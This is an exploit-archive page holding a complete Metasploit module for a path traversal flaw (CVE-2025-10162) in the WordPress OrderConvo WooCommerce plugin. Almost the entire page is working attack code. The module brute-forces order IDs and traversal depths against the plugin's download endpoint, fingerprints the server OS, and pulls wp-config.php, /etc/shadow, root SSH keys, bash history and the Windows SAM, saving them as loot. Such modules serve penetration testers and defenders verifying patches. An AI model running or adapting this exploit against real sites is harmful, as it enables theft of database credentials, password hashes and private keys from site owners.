Share
## https://sploitus.com/exploit?id=PACKETSTORM:223803
==================================================================================================================================
    | # Title     : WordPress OrderConvo 13.5 Plugin Path Traversal File Read Metasploit Module Vulnerability                        |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/                              |
    ==================================================================================================================================
    
    [+] Summary    :   This Metasploit auxiliary module exploits a path traversal vulnerability in the WordPress OrderConvo plugin for WooCommerce (versions prior to 14).
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HTTP::Wordpress
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'WordPress OrderConvo Plugin Path Traversal',
          'Description'    => %q{
            This module exploits a path traversal vulnerability in WordPress OrderConvo plugin
            (versions prior to 14) for WooCommerce. The vulnerability exists in the
            download-file endpoint which fails to properly sanitize the 'filename' parameter,
            allowing attackers to read arbitrary files from the server.
    
            The module supports multiple operating systems including:
            - Linux/Unix systems (including WordPress files)
            - Windows systems
            - BSD systems
            - MacOS
            - Docker containers
            
            Successfully tested on WordPress with OrderConvo plugin version 13.5.
          },
          'Author'         => ['indoushka'],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2025-10162'],
            ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-10162'],
            ['URL', 'https://www.najeebmedia.com/'],
            ['URL', 'https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/']
          ],
          'DisclosureDate' => '2026-05-31',
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
        ))
        register_options([
          OptString.new('FILE', [false, 'File to read (use traversal sequences)', nil]),
          OptInt.new('ORDER_ID', [false, 'Order ID to use (default: 1-5 brute force)', 1]),
          OptBool.new('BRUTE_ORDER', [true, 'Brute force order IDs if default fails', true]),
          OptEnum.new('OS_TYPE', [false, 'Target operating system (auto-detected if not specified)', 'auto', 
            ['auto', 'linux', 'windows', 'bsd', 'macos', 'docker']]),
          OptEnum.new('FILE_TYPE', [true, 'Type of file to read', 'wordpress_config', 
            ['wordpress_config', 'system_passwd', 'system_hosts', 'web_config', 'database_config', 'custom']])
        ])
        register_advanced_options([
          OptInt.new('MAX_ORDER_ID', [true, 'Maximum order ID to brute force', 30]),
          OptString.new('TRAVERSAL_DEPTH', [true, 'Path traversal base depth', '../../../../']),
          OptInt.new('MAX_TRAVERSAL_DEPTH', [true, 'Maximum traversal depth to try', 15]),
          OptBool.new('AUTO_DETECT_OS', [true, 'Automatically detect OS from response', true]),
          OptString.new('CUSTOM_FILE_PATH', [false, 'Custom file path (when FILE_TYPE is custom)', nil])
        ])
      end
      def get_file_paths(os_type, file_type)
        paths = {
          'linux' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/passwd',
            'system_hosts' => 'etc/hosts',
            'web_config' => 'etc/apache2/apache2.conf',
            'database_config' => 'etc/mysql/my.cnf',
            'system_shadow' => 'etc/shadow',
            'ssh_keys' => 'root/.ssh/id_rsa',
            'bash_history' => 'root/.bash_history',
            'access_logs' => 'var/log/apache2/access.log',
            'error_logs' => 'var/log/apache2/error.log'
          },
          'windows' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'Windows/System32/config/SAM',
            'system_hosts' => 'Windows/System32/drivers/etc/hosts',
            'web_config' => 'Windows/System32/inetsrv/config/applicationHost.config',
            'database_config' => 'Program Files/MySQL/MySQL Server/my.ini',
            'win_ini' => 'Windows/win.ini',
            'boot_ini' => 'boot.ini',
            'iis_logs' => 'inetpub/logs/LogFiles/W3SVC1/',
            'php_ini' => 'PHP/php.ini'
          },
          'bsd' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/master.passwd',
            'system_hosts' => 'etc/hosts',
            'web_config' => 'usr/local/etc/apache24/httpd.conf',
            'database_config' => 'var/db/mysql/my.cnf'
          },
          'macos' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/master.passwd',
            'system_hosts' => 'etc/hosts',
            'web_config' => 'etc/apache2/httpd.conf',
            'database_config' => 'usr/local/etc/my.cnf'
          },
          'docker' => {
            'wordpress_config' => 'wp-config.php',
            'system_passwd' => 'etc/passwd',
            'system_hosts' => 'etc/hosts',
            'docker_config' => 'etc/docker/daemon.json',
            'docker_env' => '.dockerenv'
          }
        }
        paths[os_type][file_type] || paths[os_type]['wordpress_config']
      end
      def detect_operating_system
        print_status("Attempting to detect target operating system...")
        test_files = {
          'linux' => 'etc/passwd',
          'windows' => 'Windows/win.ini',
          'bsd' => 'etc/master.passwd',
          'docker' => '.dockerenv'
        }
        test_order_ids = [1, 2, 3, 5, 10, 15, 20]
        test_files.each do |os, test_file|
          test_order_ids.each do |order_id|
            traversal = '../../../../' * 4
            filename = "#{traversal}#{test_file}"
            
            vuln_url = normalize_uri(target_uri.path, "wp-json/wooconvo/v1/download-file")
            payload = {
              'order_id' => order_id,
              'filename' => filename
            }
            begin
              res = send_request_cgi({
                'method' => 'GET',
                'uri' => vuln_url,
                'vars_get' => payload
              }, timeout = 5)
              if res && res.code == 200 && !res.body.empty?
                if os == 'windows' && (res.body.include?('[fonts]') || res.body.include?('[extensions]'))
                  print_good("Detected Windows OS based on win.ini content")
                  return 'windows'
                elsif os == 'linux' && (res.body.include?('root:') && res.body.include?('daemon:'))
                  print_good("Detected Linux/Unix OS based on passwd content")
                  return 'linux'
                elsif os == 'bsd' && (res.body.include?('root:') && res.body.include?('$2b$'))
                  print_good("Detected BSD OS based on master.passwd format")
                  return 'bsd'
                elsif os == 'docker' && (res.body.include?('docker') || res.body.length < 100)
                  print_good("Detected Docker container environment")
                  return 'docker'
                end
              end
            rescue ::Rex::ConnectionError
              next
            rescue
              next
            end
          end
        end
        print_status("Could not detect OS, defaulting to Linux")
        return 'linux'
      end
      def try_traversal_depth(base_url, order_id, file_path)
        (1..datastore['MAX_TRAVERSAL_DEPTH']).each do |depth|
          traversal = '../' * depth
          filename = "#{traversal}#{file_path}"
          vuln_url = normalize_uri(base_url, "wp-json/wooconvo/v1/download-file")
          payload = {
            'order_id' => order_id,
            'filename' => filename
          }
          
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => vuln_url,
              'vars_get' => payload
            }, timeout = 10)
            if res && res.code == 200 && !res.body.empty?
              unless res.body.include?('error') || res.body.include?('failed') || 
                     res.body.include?('No such file') || res.body.include?('not found')
                print_good("Found working traversal depth: #{depth} (#{'../' * depth})")
                return filename, res.body
              end
            end
          rescue ::Rex::ConnectionError
            next
          rescue
            next
          end
        end
        return nil, nil
      end
      def run_host(ip)
        os_type = datastore['OS_TYPE']
        if os_type == 'auto' && datastore['AUTO_DETECT_OS']
          os_type = detect_operating_system
          print_status("Target OS detected as: #{os_type.upcase}")
        elsif os_type == 'auto'
          os_type = 'linux'
          print_status("Using default OS: Linux")
        else
          print_status("Using specified OS: #{os_type.upcase}")
        end
        file_to_read = nil
        if datastore['FILE_TYPE'] == 'custom'
          file_to_read = datastore['CUSTOM_FILE_PATH']
          if file_to_read.nil? || file_to_read.empty?
            print_error("CUSTOM_FILE_PATH must be set when FILE_TYPE is custom")
            return
          end
        elsif datastore['FILE']
          file_to_read = datastore['FILE']
        else
          file_to_read = get_file_paths(os_type, datastore['FILE_TYPE'])
        end
        print_status("Target file: #{file_to_read}")
        print_status("OS Type: #{os_type.upcase}")
        order_ids = []
        if datastore['BRUTE_ORDER']
          print_status("Brute forcing order IDs from 1 to #{datastore['MAX_ORDER_ID']}")
          order_ids = (1..datastore['MAX_ORDER_ID']).to_a
        else
          order_ids = [datastore['ORDER_ID']]
        end
        order_ids.each do |order_id|
          print_status("Trying order_id=#{order_id}")
          filename, content = try_traversal_depth(target_uri.path, order_id, file_to_read)
          if content && !content.empty?
            print_good("Successfully read file with order_id=#{order_id}")
            print_good("Traversal sequence used: #{filename}")
            print_line("\n" + "="*60)
            print_line("FILE CONTENT (#{file_to_read}):")
            print_line("="*60)
            if content.length > 5000
              print_line(content[0..5000])
              print_line("\n... [Output truncated, showing first 5000 characters] ...")
              print_line("Full content saved to loot")
            else
              print_line(content)
            end
            print_line("="*60 + "\n")
            safe_filename = file_to_read.gsub(/[\/\\]/, '_')
            path = store_loot(
              "wordpress.orderconvo.#{os_type}.file",
              'text/plain',
              rhost,
              content,
              "#{os_type}_#{safe_filename}",
              "File read from vulnerable OrderConvo plugin on #{os_type} system"
            )
            print_good("File saved to: #{path}")
            report_vuln({
              :host => rhost,
              :port => rport,
              :name => self.name,
              :refs => self.references,
              :info => "Path traversal vulnerability in OrderConvo plugin allows arbitrary file reading on #{os_type} system"
            })
            
            return
          end
        end
        
        print_error("Could not read file with any tested order ID or traversal depth")
        print_error("Try increasing MAX_ORDER_ID or MAX_TRAVERSAL_DEPTH")
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================